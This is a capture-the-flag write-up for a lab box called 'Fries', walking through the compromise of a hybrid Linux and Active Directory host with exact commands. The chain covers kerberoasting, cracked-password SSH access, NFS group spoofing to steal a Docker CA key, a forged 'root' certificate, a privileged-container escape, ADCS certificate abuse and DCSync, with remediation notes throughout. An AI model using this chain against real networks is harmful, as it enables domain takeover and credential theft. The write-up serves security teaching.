Fries
Summary
I kerberoasted a service account using valid domain credentials obtained through credential reuse, SSH'd into the hybrid Linux/Windows host, then exploited an NFSv4 AUTH_SYS misconfiguration to impersonate a privileged group and steal the Docker API's TLS Certificate Authority private key. With that key I forged a client certificate carrying the Common Name 'root', which an over-permissive authz-broker policy granted unrestricted Docker API access. A privileged container was launched with the host filesystem bind-mounted, yielding root on the Linux layer and the gMSA service account's NTLM hash. That hash was then used to exploit an Active Directory Certificate Services ESC misconfiguration, perform DCSync, and recover the domain administrator's NTLM hash for full Windows domain takeover.
Attack path — how the box was taken
Exact commands 1
nmap -Pn -sV --version-light --open --top-ports 1000 $TARGETExact commands 2
impacket-GetUserSPNs fries.htb/dale:'<dale_password>' -dc-ip $TARGET -request -outputfile svc_infra.hashhashcat -m 13100 svc_infra.hash /usr/share/wordlists/rockyou.txtFixEnforce strong, unique passwords on all Kerberos service accountsHigh
Exact commands 4
nxc ssh $TARGET -u svc_infra -p 'm6tneOMAh5p0wQ0d' -x 'id; hostname'ssh svc_infra@$TARGETfind / -name user.txt -type f 2>/dev/null | xargs catgrep -r 'password\|passwd\|secret\|cred' /srv /opt /home /etc 2>/dev/null | grep -v BinaryFixEnforce strong, unique passwords on all Kerberos service accountsHigh
Exact commands 4
showmount -e $TARGETsudo groupadd -g 59605603 infra_managers && sudo usermod -aG infra_managers $(whoami) && newgrp infra_managerssudo mount -t nfs4 $TARGET:/srv/web.fries.htb/certs /mnt/nfs_certscp /mnt/nfs_certs/ca-key.pem /tmp/dcerts/ca-key.pem && cp /mnt/nfs_certs/ca.pem /tmp/dcerts/ca.pemFixReplace NFS AUTH_SYS with Kerberos authentication on sensitive exportsCritical
Exact commands 4
openssl genrsa -out /tmp/dcerts/root-key.pem 2048openssl req -new -key /tmp/dcerts/root-key.pem -out /tmp/dcerts/root.csr -subj '/CN=root'openssl x509 -req -in /tmp/dcerts/root.csr -CA /tmp/dcerts/ca.pem -CAkey /tmp/dcerts/ca-key.pem -CAcreateserial -out /tmp/dcerts/root-cert.pem -days 1docker -H tcp://localhost:2376 --tlsverify --tlscacert=/tmp/dcerts/ca.pem --tlscert=/tmp/dcerts/root-cert.pem --tlskey=/tmp/dcerts/root-key.pem run --rm -it --privileged -v /:/host fries-web:latest /bin/sh -c 'chroot /host /bin/bash'FixHarden Docker API access controls and eliminate privileged container deploymentsCritical
Exact commands 5
nxc winrm $TARGET -d fries.htb -u 'gMSA_CA_prod$' -H [REDACTED: protected value] -x 'whoami'certipy find -u 'gMSA_CA_prod$@fries.htb' -hashes :[REDACTED: protected value] -dc-ip $TARGET -vulnerable -stdoutcertipy req -u 'gMSA_CA_prod$@fries.htb' -hashes :[REDACTED: protected value] -ca fries-DC01-CA -template '<vulnerable_template>' -upn administrator@fries.htb -dc-ip $TARGETcertipy auth -pfx administrator.pfx -dc-ip $TARGETimpacket-secretsdump fries.htb/administrator@$TARGET -hashes :[REDACTED: protected value] -just-dc-ntlmFixRemediate ADCS ESC certificate template misconfigurations and restrict gMSA permissionsCritical
Exact commands 3
nxc winrm $TARGET -d fries.htb -u administrator -H [REDACTED: protected value] -X 'whoami; hostname'evil-winrm -i $TARGET -u administrator -H [REDACTED: protected value]Get-ChildItem C:\ -Force -Recurse -Include root.txt -ErrorAction SilentlyContinue | ForEach-Object { $_.FullName; Get-Content $_.FullName }FixRemediate ADCS ESC certificate template misconfigurations and restrict gMSA permissionsCritical
Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets me obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
DCSyncActive Directory · Credential AccessT1003.006
What it is
DCSync abuses the Directory Replication Service (DRSUAPI) protocol that Domain Controllers use to replicate data. A principal holding the Replicating Directory Changes rights can ask a DC to replicate password hashes for any account — including krbtgt — without touching LSASS, e.g. secretsdump.py -just-dc. Recovering krbtgt enables Golden Tickets.
Why it works
Replication rights are meant only for DCs and a few admin roles; over-delegation (or compromise of a privileged account) lets me impersonate a DC. Remediate by auditing who holds replication rights and monitoring DRSUAPI requests from non-DC hosts.
Read more
gMSA Password ReadActive Directory · Credential AccessT1555
What it is
Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If I control (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.
Why it works
gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.
Read more
KerberoastingActive Directory · KerberosT1558.003
What it is
Any authenticated domain user can request a Kerberos service ticket (TGS) for an account that has a Service Principal Name (SPN). Part of that ticket is encrypted with the service account's NTLM hash, so GetUserSPNs.py harvests the tickets and hashcat (mode 13100) cracks them offline to recover the service account password.
Why it works
Service accounts frequently have weak, non-expiring passwords and elevated privileges, and any domain user can request their tickets. Remediate with long random passwords or group Managed Service Accounts (gMSA), and monitor for anomalous TGS requests (event 4769).
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.